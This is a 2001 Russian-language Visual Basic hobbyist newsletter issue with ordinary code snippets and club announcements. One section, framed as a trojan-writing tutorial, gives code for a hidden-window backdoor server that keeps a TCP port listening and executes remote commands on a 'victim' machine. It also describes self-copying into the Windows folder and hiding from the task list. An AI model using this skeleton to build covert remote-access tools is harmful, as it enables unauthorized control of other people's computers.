|
|
Несколько слов от автора:
Приветствую вас, дорогие читатели! Хочу сообщить вам кое-что: у рассылки появился спонсор (слева баннер) и всех кому не лень прошу кликнуть по нему. Также,
мне становится сложнее создавать выпуски - времени нет, просьба помочь.
РАССЫЛКА: Открылся сайт рассылки по адресу http://vb-html.da.ru На сайте вы найдете весь архив рассылки, проекты и многое другое.
ПРИМЕЧАНИЕ: Выпуски данной рассылки начиная с первого вы сможете прочитать на http://subscribe.ru/archive/comp.design.snoozex/
@LEXis
|
|
21.06.2001 Выпуск N28 Обзор ведет @LEXis
# E-Mail группа "СообЧа-Visual BASIC":
| О группе |
| Как открыть URL в дефаултном броузере? |
# Полезные коды Visual BASIC:
| Открытие и закрытие дверцы CD-ROM'а |
# Практикум на примерах:
| Создание трояна на VB (Часть 1 - Клиент) |
| Windows API (Часть 4 - Интересные API функции) |
# В разделе "вопросы/ответы":
| Ответы на вопросы читателей |
# Рубрика "Объявления"
E-Mail группа "СообЧа-Visual BASIC"
|
| О группе |
Группа VB. Заходите в гости. Здесь вы приобретете практические навыки по программированию на Visual Basic. Как вы этого сможете достигнуть? Путем написания собственной серьезной программы. Чем обычно занимается рядовой чайник-программист? Ну, пишет там всякие приколы на VB... Ну, ма-а-ленькую полезную программку наваляет. А как получить навыки в создании серьезных программ? Правильно, путем создания серьезных программ. ;) Но в одиночку вам с этим не справиться. Вот для этого в проекте СообЧа существует группа программистов-чайников, которые занимаются разработкой серьезного софта на VB. Суть состоит в том, что вам совсем необязательно знать все в Visual Basicе. Вам достаточно быть рядовым чайником и немного знать операторы VB. Остальному научимся вместе. На данный момент в группе разрабатывается почтовая программа под рабочим названием "Сообчайлер". Она будет уметь все, что умеет популярная программа The Bat и даже намного больше. Есть сборник оригинальных идей, выдвинутых чле!
нами нашей группы, которые мы постараемся реализовать все вместе. Проект разбивается на отдельные простые задачи. Такие как: проверка орфографии, форма для написания нового письма, главное окно... и т.п. Каждую часть делает отдельный человек. Затем он высылает сделанный модуль в группу, и остальные просто присоединяют его к базовому проекту. Вам совсем не обязательно четко представлять, как это сделать. Достаточно просто начать и столкнуться с какой-нибудь проблемой. Пусть это будет даже проблема типа "А как добавить новый модуль к проекту?". Все. Наткнулись... ;) Дальше действуем по одной схеме - пишем письмо с описанием проблемы в группу и мы все вместе разбираемся в проблеме. Таким образом, все остальные получат ЗНАНИЯ и некоторые навыки в решении создавшихся проблем. Не забывайте - все мы чайники. Не стоит бояться задать вопрос. Задавайте - а мы вместе попытаемся найти ответ.
Подписаться в группу (пустое письмо)
| Как открыть URL в дефаултном броузере? |
Виталий Иванов Июнь 2001
Имеется форма, на форме Label1, в которую вписан URL:
Private Declare Function ShellExecute& Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long)
Private Declare Function GetDesktopWindow Lib "user32" _
() As Long
Const SW_SHOWNORMAL = 1
Private Sub Label1_Click()
Call ShellExecute(GetDesktopWindow, "Open", _
Label1.Caption, "", "c:\", SW_SHOWNORMAL)
End Sub
Поленые коды на Visual BASIC
|
| Открытие и закрытие дверцы CD-ROM'а |
Для этого создайте на форме 2 кнопки и вставьте код:
Option Explicit
Public Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" _
(ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Sub Command1_Click()
'Открыть дверцу CD-Rom:
Call mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&)
End Sub
Private Sub Command2_Click()
'Закрыть дверцу CD-Rom:
Call mciSendString("Set CDAudio Door Closed Wait", 0&, 0&, 0&)
End Sub
|
| Создание трояна на VB (Часть 1 - Клиент) |
Статья взята из рассылки "Программирование и дизайн (comp.soft.prog.prs)" и создана только для ознакомления с возможностями MS Winsock контрола
В интернете полным полно всяких сайтов, на которых
Вы можете скачать себе самые разнообразные трояны и вирусы. Но о большинстве
из них (скорее всего) уже знают антивирусные программы. К тому же надо с опаской
относиться к таким троянам, которые отсылают пароли на e-mail, т.к. их большинство
дублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.
Для начала разберЈмся с классификацией троянов. Трояны делятся
на несколько категорий: BackDoors, Nukers и т.д. В этой статье мы будим говорить
о создании собственного BackDoor'а, а точнее программы скрытого удалЈнного
администрирования. Такие программы состоят из 2-х частей: одна - сервер,
а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрывается
от пользователя. Файл сервера при запуске автоматически копируется
в каталог Windows или системный каталог, а также скрывается из диалога
"Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete.
Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого,
и ждЈт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того,
как клиент подключиться к серверной части, он начинает посылать ей команды.
Командами являются просто сочетания символов, обычно в виде слов, чтобы автору
трояна не мучиться :о) Какие именно он придумает команды - нужно только
догадоваться.
Итак. Как мы и обещали, приступаем к созданию программы. Сначала
напишем сервер. Для этого создаЈм новый проект на Visual Basic
в виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control:
в меню "Project"->"Components..."
Если в списке его нет, то нажмите "Browse" и выберете файл
"mswinsck.ocx". Тепрь ставим на форму этот компонент. Он нам нужен для свази
клиентской и серверной части по TCP протоколу. Далее изменяем форму:
убираем заголовок, делаем малые размеры и visible формы ставим на False. У
компонента меняем имя на "ws" и свойству LocalPort присваиваем число, которое и
будет номером порта, например 123.
Теперь попробуем запустить программу. У вас ничего не должно появиться.
Завершаем работу программы нажатием кнопки "стоп".
Начинаем писать код программы. В Form_Load пишем:
Private Sub Form_Load()
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub
Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываем
связь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужно
повторять во время работы программы для того, чтобы избежать случая, который возникает
при разрыве связи. Т.е. вы начинаете случать порт, затем подключается удалЈнный компьютер,
а после его отключения порт слушаться уже не будет. Вот значения, которые может принимать
свойство State:
Константа |
Значение |
Описание |
sckClosed |
0 |
Такое значение стоит при запуске программы или когда порт закрыт |
sckOpen |
1 |
Порт открыт |
sckListening |
2 |
Порт прослушивается |
sckConnectionPending |
3 |
Connection pending |
sckResolvingHost |
4 |
Resolving host |
sckHostResolved |
5 |
Host resolved |
sckConnecting |
6 |
Подключение к хосту |
sckConnected |
7 |
Связь установлена |
sckClosing |
8 |
Связь закрывается... |
sckError |
9 |
Ошибка |
Теперь нужно подключить клиента. Для этого в
ws_ConnectionRequest, т.е. в запросе на соединение пишем:
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Здесь мы сначала прекрашаем слушать, а затем подсоединяем
клиента по номеру его запроса. На этом код по соединению двух программ
закончен. Далее разбираем код для ws_DataArrival. Он будет вызываться,
когда будут приходить какие-нибудь данные от сервера.
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
Select Case Data
Case "BEEP"
Beep
Case "MSG"
MsgBox "Привет!", vbInformation, ":o)"
Case "END"
End
End Select
End Sub
В этом коде тоже все просто. Сначала объявляем переменную
Data, которая будет содержать пришедшие данные, а затем записываем их.
После этого просматриваем все возможные варианты, т.е. команды, которые могли
прийти от сервера. Здесь их три: BEEP, MSG, END. То, что они делают, думаю,
объеснять не надо. Теперь остаЈтся скомпилировать программу. Назовем ее "server.exe".
Продолжение следует...
| Windows API (Часть 4 - Интересные API функции) |
Функция EnableWindow
Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Платформа: Win 95/98, Win NT
EnableWindow допускает или отключает окно. Если окно заблокировано, оно не может получить фокус и игнорирует любой предпринятый ввод. Некоторые окна, типа кнопок и других средств управления, будут недоступными, когда заблокированы. Функция возвращает 0, если окно доступно, или ненулевое значение, если окно заблокировано
- hwnd
- Дескриптор окна
- fEnable
- Если 0, окно будет заблокировано. Если ненулевое, окно будет доступно
Пример:
' Изменим состояние окна Command1. Если окно
' заблокировано-делаем доступным; если недоступно-отключим.
Dim wasenabled As Long ' состояние окна Command1(доступно или нет)
Dim retval As Long ' возвращаемое значение
' узнаем состояние окна Command1(доступно или нет)
wasenabled = IsWindowEnabled(Command1.hWnd)
If wasenabled = 0 Then ' если не доступно, делаем доступным
retval = EnableWindow(Command1.hWnd, 1)
Else ' если доступно-блокируем
retval = EnableWindow(Command1.hWnd, 0)
End If
|
| Отправитель Женек
Привет. У меня к вам есть вопросик, я не знаю к какому языку он относится, но если можно ответьте пожалуйста. Вопрос такой: Как сделать, что бы была бегущая строка в том месте где обычно высвечивается адрес когда наводишь мышку на ссылку (в левом нижнем углу) это в IE 5.0.
|
|
| Требуются люди
Хочу напомнить, что еще пусты многие вакансии рассылки:
- Рубрика "Рецензия книг"
- Рубрика "Практикум на примерах"
Также можно просто присылать коды.
|
| Проекты группы СообЧа-VB
Вот проекты которые на данный момент в рабочем состоячнии:
- Сообчайлер: почтовый клиент
- Крестики - Нолики: игра :)
- Secret CODE: шифратор
- Inet TIMER: блокиратор интернета
|
|
Код моей кнопки:
<!-- SnoozeX Design "PLAY" -->
<a href="http://snoozex.boom.ru" TARGET="_blank"><BR><IMG SRC="http://snoozex.boom.ru/new.gif" WIDTH=88 HEIGHT=31 BORDER=1 ALT="SnoozeX Design"></a>
<!-- SnoozeX Design "END" -->
|
© 2000 - 2001 @LEXis & Design by SnoozeX Design
|
Рассылка является составной частью проекта "СообЧа - СООБщество ЧАйников"
© 2000 - 2001 СообЧа (СООБщество ЧАйников)
|
| |
Спасибо за внимание. Ваш @LEXis |
|
|